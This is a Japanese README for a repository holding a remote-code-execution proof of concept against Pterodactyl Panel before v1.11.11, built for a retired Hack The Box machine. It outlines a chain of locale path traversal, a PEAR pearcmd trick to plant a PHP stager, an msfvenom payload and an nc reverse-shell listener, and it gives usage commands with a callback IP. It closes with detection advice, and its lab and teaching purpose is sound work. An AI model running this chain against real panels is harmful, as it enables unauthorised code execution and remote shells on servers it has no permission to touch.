
このリポジトリには、Pterodactyl htbマシン用のRCEエクスプロイトが含まれています。
認可されたテストおよび防御学習専用です。
このリポジトリは、管理されたラボ環境(例: CTF/HTB形式)を対象としており、ターゲットを所有しているか、テストする*明示的な書面による許可を得ている場合に限ります。
このリポジトリには、v1.11.11より前のPterodactyl Panelバージョンに影響する実世界の脆弱性に対する教育用Python PoC(pterodactyl_rce.py)が含まれています。脆弱な構成では、認証されていない攻撃者が locale および namespace パラメータの不適切な処理により、/locales/locale.json エンドポイントを介してリモートコード実行を達成する可能性があります。
このPoC亜種は、PHP-PEAR がインストールされた環境を対象としており、退役した Hack The Box マシン Pterodactyl に対して構築・検証されました: https://app.hackthebox.com/machines/Pterodactyl。同じ条件が満たされる他のラボ環境でも動作する可能性があります。
24c82b0…)大まかに言うと、このPoCは次の手順を連鎖させます。
msfvenom を使用してLinux x64のリバースTCP ELFペイロードを生成します。/locales/locale.json の処理を悪用して、PHP「ステージャー」を /tmp に書き込みます(PEAR pearcmd の config-create トリック経由)。/tmp にダウンロードするこのスクリプトは「アップロード」ステップで curl ではなく生のHTTPクライアントを使用しています。一部のツールは文字を正規化・エンコードして、細工したリクエストを壊す可能性があるためです。
注記: このREADMEは意図的に防御・教育目的のレベルに留めています。テストを許可された環境でのみコードを使用してください。
$PATH で利用可能な msfvenom(Metasploit Framework)nc(netcat)スクリプトは現在、ソース内にパネルのHTBホスト名を想定しています:
host = "panel.pterodactyl.htb"
さらに、PHP-PEARへのハードコードされたパスは ../../../../../usr/share/php/PEAR に設定されています。Pterodactylボックス外でテストする場合は、ローカル設定に合わせてこのパスを調整する必要があります。
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: ラボサーバーから到達可能なコールバックIP<LPORT>: リバースシェルを受信するポート独自のリスナーを実行したい場合:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
その後、別のターミナルで:
nc -lvnp <LPORT>
python3 pterodactyl_rce.py 10.10.14.225 5555
典型的な流れ:
shell_ab12cd34 のようなランダムなファイル名):8080 でワンショットHTTPサーバーを起動します/tmp/<random>.php にPHPステージャーを作成します
/tmp/ フォルダ内のファイルには触れません。
回避策:
http.server の初期ポートを8080から別のポートに変更します。/tmp/<name>.php アーティファクトを手動で削除します。それ以外の場合は、しばらく待って再試行します。/locales/locale.json エンドポイントをブロックすることは可能ですが、ローカライズ機能が壊れる可能性があります。次のような不審なリクエストを探します:
locale= トラバーサルシーケンスを含む /locales/locale.json へのリクエストnamespace= の値(予期しない名前、長い文字列、不審な文字)/tmp/ に予期しないファイルが突然作成されるWebログと次の項目を関連付けます:
www / PHP-FPM ユーザーによって起動された新しいプロセスcurl / wget の使用